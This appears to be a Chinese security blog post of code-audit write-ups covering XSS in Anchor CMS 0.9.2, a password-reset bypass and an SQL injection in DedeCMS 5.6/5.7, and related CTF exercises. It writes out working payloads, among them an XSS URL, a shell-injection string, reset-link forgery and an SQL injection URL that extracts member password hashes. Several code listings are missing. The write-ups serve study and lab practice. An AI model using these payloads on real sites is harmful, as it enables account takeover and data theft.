红日安全[代码审计]3则
红日安全[代码审计]3则
红日安全[代码审计]Day 2 – Twig
实例分析
首先安装题中给的anchor-cms-0.9.2
当我们访问一个不存在的网页时,它会显示一个404页面
这个页面的代码如下,注意这里的current_url()函数
这个函数又调用了Uri类的current()方法
在Uri类中static::$current = static::detect();又掉用了detect方法
detect方法如下,它会获取 try as uri = filter_var(uri = parse_url(uri, $server)把uri传入format方法
可以知道FILTER_SANITIZE_URL这个过滤器允许所有的字母、数字以及 -_.+!*'(),{}|\^~[]`"><#%; ?:@&=",然后parse_url(uri," php_url_path)只是用来解析uri的函数,并没有过滤功能< p>
format方法如下,这里调用的几个方法,都没有进行xxs攻击的过滤
remove_relative_uri方法代码
remove_script_name方法代码
漏洞利用:
所以我们只要输入一个xxs代码,就可以通过current_url()调用到网页中发起xss攻击
访问http://127.0.0.1/anchor-cms-0.9.2/index.php/%3Cscript%3Ealert('xssattack%27)%3C/script%3E的结果如下
CTF题目
源代码:
Index.php
1 |
|
f1agi3hEre.php
1 |
|
filter_var()函数
filter_var() 函数通过指定的过滤器过滤一个变量。如果成功,则返回被过滤的数据。如果失败,则返回 FALSE。
用法:filter_var(variable, filter, options)
这里第二个参数是
FILTER_VALIDATE_URL过滤器,这个过滤器是用来过滤url的,但是这个过滤器会把伪协议当成url处理,例如JavaScript://这样的协议就会通过
然后
parse_url()这个函数是用来处理url的,解析 URL,返回其组成部分,
接下来用preg_match()函数匹配字符串’/sec-redclub.comsite_info[‘host’] 匹配,所以这个字符串只能在parse_url()解析的host的最后面
接下来就到了exec(‘curl "’.$site_info[‘host’].’"’, $result);
1 |
|
所以我们构建的payload是http://192.168.44.3/red/?url=2333://”;cat${IFS}flag.txt;”sec-redclub.com
双引号用来闭合前面的双引号,
IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用
1 |
|
``
红日安全[代码审计] Day 4 - False Beard
实例分析
首先安装环境,织梦cms5.7版本
这个cms存在任意用户密码重置漏洞,触发点在\uploads\member\resetpassword.php
前面是判断当 $dopost 等于 safequestion 的时候,通过传入的 $mid 对应的 id 值来查询对应用户的安全问题、安全答案、用户id、电子邮件等信息。
1 |
|
前面判断了我们传入的值是否非空,这个判断语句是把数据库中的安全问题和安全答案与用户输入的进行对比,不过这里的判断条件是==,而不是===
PHP中这两个运算符的区别如下
所以假设用户没有设置安全问题和答案,那么默认情况下安全问题的值为 0 ,答案的值为 null (这里是数据库中的值,即 $row[‘safequestion’]=“0” 、 $row[‘safeanswer’]=null )。当没有设置 safequestion 和 safeanswer 的值时,它们的值均为空字符串。第11行的if表达式也就变成了 if(‘0’ == ‘’ && null == ‘’) ,即 if(false && true) ,因为null其实就是空字符,所以我们只要让表达式 $row[‘safequestion’] == $safequestion 为 true 即可绕过。
测试0.0,0e1,0.这3个都可以和0比较通过,利用这个可以绕过此判断,进入sn函数
在sn函数中if(!is_array(row会根据id到pwd_tmp表中判断是否存在对应的临时密码记录判断用户是否第一次进行忘记密码操作,如果是第一次,那if(!is_array(mid,mailto,‘INSERT’,$send); 在 newmail 函数中执行 INSERT 操作
在INSERT 操作主要功能是发送修改密码的邮件到用户邮箱,然后插入一条记录在dede_pwd_tmp表中,我们可以看到$send == 'N’时,执行以下操作
return ShowMsg(‘稍后跳转到修改页’, cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".mid."&key=".randval);
用来打印修改密码的链接修改密码链接中的 $mid 参数对应的值是用户id,而 $randval 是在第一次 insert 操作的时候将其 md5 加密之后插入到 dede_pwd_tmp 表中
所以我们可以知道拼接的url是?dopost=getpasswd&id=mid&key=randval
dopost=getpasswd 的操作在resetpassword.php中
在重置密码的时候判断输入的用户id是否执行过重置密码,如果id为空则退出;如果 $row 不为空,则会执行以下操作内容
这几行代码会判断修改密码是否超时,如果没有超时,就会进入密码修改页面,代码如下,会把$step赋值为2
然后现在的数据包中 $setp=2,然后又到了resetpassword.php 文件中。
if($row[‘pwd’] == row[‘pwd’] 如果相等就完成重置密码操作
攻击过程
首先注册2个用户
提交一个请求,这里232343用户的ID是3,所以提交
然后抓包发送得到key值
这里key=KEZatlFV,构建http://127.0.0.1/DedeCMS-V5.7-UTF8-SP2/uploads/member/resetpassword.php?dopost=getpasswd&id=3&key=KEZatlFVrh
然后访问,把密码修改为123456
提示修改成功并且登录
数据库里的值也变成123456的md5值了
CTF题目
首先题目是一个摇奖程序
输入用户名就可以进行摇奖,但是金额只有20
查看这个比较的代码(buy.php)里面有一段代码调用了buy.js
在buy.js中程序将表单数据以json格式提交到api.php中
而api.php中,把传入的数据用==进行比较,这涉及到PHP弱比较的问题
== 在进行比较的时候,会先将字符串类型转化成相同,再比较
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行
如果我们用true进行比较的话,就会把数字也转换成bool类型进行比较,就会比较通过了,而除了 0、false、null 以外均为 true,所以只要后台生成的数字没有0,就可以比较通过了。
如图,显示比较成功了,金额增加了200000,多次发包,让自己的钱可以买flag就可以了
红日安全[代码审计]Day 7 – Bell
首先安装带有漏洞的DedeCmsV5.6 版本
根据官网发布的v5.7版本的补丁可以知道漏洞是由于 mchStrCode 这个编码方法造成的。
我们先在文件夹里搜索mchStrCode发现有3处
查看第一处的代码,如下图,这段代码是用parse_str 方法将mchStrCode函数解码后 $pd_encode 中的变量放到 mch_Post as $k => $v) $$k = mch_Post 中的键和值都赋给$k, $v
在这个过程没有对定义的键值进行检查,如果攻击者通过mschstrcode进行编码,绕过一些过滤方式,就可以使代码直达目标
查看mchStrcode的代码,如下图
这里
_SERVER[“HTTP_USER_AGENT”].$GLOBALS[‘cfg_cookie_encode’]),8,18);
可以知道这个代码将 $_SERVER[“HTTP_USER_AGENT”] 和 $GLOBALS[‘cfg_cookie_encode’] 进行拼接,然后进行md5计算之后取前 18 位字符,其中的 GLOBALS[‘cfg_cookie_encode’])怎么生成的话就可以知道key值了
rnd_cookieEncode
$rnd_cookieEncode = chr(mt_rand(ord(‘A’),ord(‘Z’))).chr(mt_rand(ord(‘a’),ord(‘z’))).chr(mt_rand(ord(‘A’),ord(‘Z’))).chr(mt_rand(ord(‘A’),ord(‘Z’))).chr(mt_rand(ord(‘a’),ord(‘z’))).mt_rand(1000,9999).chr(mt_rand(ord(‘A’),ord(‘Z’)));
可以看到$rnd_cookieEncode所有密匙数为26^6*(9999-1000)=2779933068224,虽然可以暴力破解,但是时间成本太高
攻击思路
虽然cfg_cookie_encode的生成有一定的规律性,我们可以使用MD5碰撞的方法获得,但是时间成本太高,感觉不太值得。所以想法是在什么地方可以使用 mchStrCode 加密可控参数,并且能够返回到页面中。所以搜索一下全文哪里调用了这个函数。
在member /buy_action.php中有一个加密调用如下
这下面有一句tpl->LoadTemplate(DEDEMEMBER.’/templets/buy_action_payment.htm’);
在/templets/buy_action_payment.htm这个文件中,可以看到会回显我们之前加密的 $pr_encode 和 $pr_verify
通过这个代码,如果我们提交的是“cfg_dbprefix=SQL注入”的值,就可以从而获取相应的 pr_encode 和 pr_verify
但是在common.inc.php中会过滤提交的以cfg、GLOBALS、GET、POST、COOKIE 开头的值
这个问题的解决就利用到了 $REQUEST 内容与 parse_str 函数内容的差异特性。我们url传入的时候通过**[a=1&b=2%26c=3]这样的提交时, $REQUEST 解析的内容就是 [a=1,b=2%26c=3] 。而通过上面代码的遍历进入 parse_str 函数的内容则是 [a=1&b=2&c=3] ,因为 parse_str 函数会针对传入进来的数据进行解码,所以解析后的内容就变成了[a=1,b=2,c=3]**。所以可以通过这种方法绕过 common.inc.php 文件对于参数内容传递的验证。
例如构造&a=1%26cfg_dbprefix
漏洞利用
访问 buy_action.php使用参数如下
product=card&pid=1&a=1%26cfg_dbprefix=dede_member_operation WHERE 1=@’/!12345union/ select 1,2,3,4,5,6,7,8,9,10 FROM (SELECT COUNT(),CONCAT( (SELECT pwd FROM dede_member LIMIT 0,1),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a %23
所以构造url如下
http://127.0.0.1/DedeCmsV5.6-UTF8-Final/uploads/member/buy_action.php?product=card&pid=1&a=1%26cfg_dbprefix=dede_member_operation WHERE 1=@’/!12345union/ select 1,2,3,4,5,6,7,8,9,10 FROM (SELECT COUNT(),CONCAT( (SELECT pwd FROM dede_member LIMIT 0,1),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a %23
然后抓包在进行发送,得到pr_encode 和 pr_verify的值
这里我得到
pd_encode=“QBYKUkVSElkABEcHQ0RQU1gJFgVYBxZSAAM8AVcTF1FfXh0FVAEBU29cAwkBAEc8CkRcRQRMWQsLFmd5IzYmRQReJRMWFlQKA1BQQ15YCQpMRUYGCVFaQ0UJHFZJBRwFSlFPUxlUSQwVDkkJAEQjZH98RkwwIHkmJmAZdCptfjBNHxxyKSogJGFLRRxqcil9czBFRkdVRiIxKnhDAVFdUjpVVQkHU0IRKi0uLGFDVRgIHkl+fCsqZBhjJyonTQVKVx0QT0V+YisoFnl/ICsxKHQ3LHt3aDZ7eCEodx5yLiUxJHY3IGZmZCBsY0QiZH9kNkQhPBUbTFUZFA”
pd_verify =“de99a6f6445b0a8d931f7b5a99f2cee9”
所以构造的payload为http://127.0.0.1/DedeCmsV5.6-UTF8-Final/uploads/member/buy_action.php? buy_action.php?pd_encode=QBYKUkVSElkABEcHQ0RQU1gJFgVYBxZSAAM8AVcTF1FfXh0FVAEBU29cAwkBAEc8CkRcRQRMWQsLFmd5IzYmRQReJRMWFlQKA1BQQ15YCQpMRUYGCVFaQ0UJHFZJBRwFSlFPUxlUSQwVDkkJAEQjZH98RkwwIHkmJmAZdCptfjBNHxxyKSogJGFLRRxqcil9czBFRkdVRiIxKnhDAVFdUjpVVQkHU0IRKi0uLGFDVRgIHkl+fCsqZBhjJyonTQVKVx0QT0V+YisoFnl/ICsxKHQ3LHt3aDZ7eCEodx5yLiUxJHY3IGZmZCBsY0QiZH9kNkQhPBUbTFUZFA&pd_verify= de99a6f6445b0a8d931f7b5a99f2cee9
CTF题目
源码:
uploadsomething.php
1 |
|
Index.php
1 |
|
访问主页,没什么显示的内容
查看源码发现这里有一处md5比较
如果正确就会打印出flag的地址,这里使用的是==比较,是弱类型比较,其中有一个漏洞是
当字符串的开始没有以合法的数值开始,在进行判断时,其值为0
var_dump(“0e123456”==“0e99999”); //true
而且本题这里QNKCDZO的md5值为0E830400451993494058024219903391开头是0e,所以只要用另一个0e开头的md5值和它比较,就可以通过了,这里使用了s155964671a,md5值为0e342768416822451524974117254469,构建payload为?id=a[0]=s155964671a
通过验证,显示出flag的页面
注意这里有一段代码会验证referer
$referer = $_SERVER[‘HTTP_REFERER’];
if(isset($referer)!== false)
如果不带referer进行访问,就会出现这个界面
进入flag的页面如下
这里如果发送了filename和content的数据就会回显一个flag的地址,但是不知道是不是我环境搭的不对,我这里不会显示,但是这里这个文件夹确实建立了,然后flag也在里面
然后观察uploadsomething.php有这段
1 |
|
里面的usleep(100000);会限制时间,过了之后就会把flag覆盖并且写入Too slow
所以我们必须在flag消失之前访问
使用burpsuite抓包,然后进行连续发送
这里设置了发送2000个包,开始攻击,在攻击的时候访问http://192.168.44.3/day7/uploads/42df680fe50964852a5d21b069107fc06b22cd4d/flag即可
这里成功拿到了flag
#%;>本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!,本博客仅用于交流学习,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。 文章作者拥有对此站文章的修改和解释权。如欲转载此站文章,需取得作者同意,且必须保证此文章的完整性,包括版权声明等全部内容。未经文章作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。若造成严重后果,本人将依法追究法律责任。 阅读本站文章则默认遵守此规则。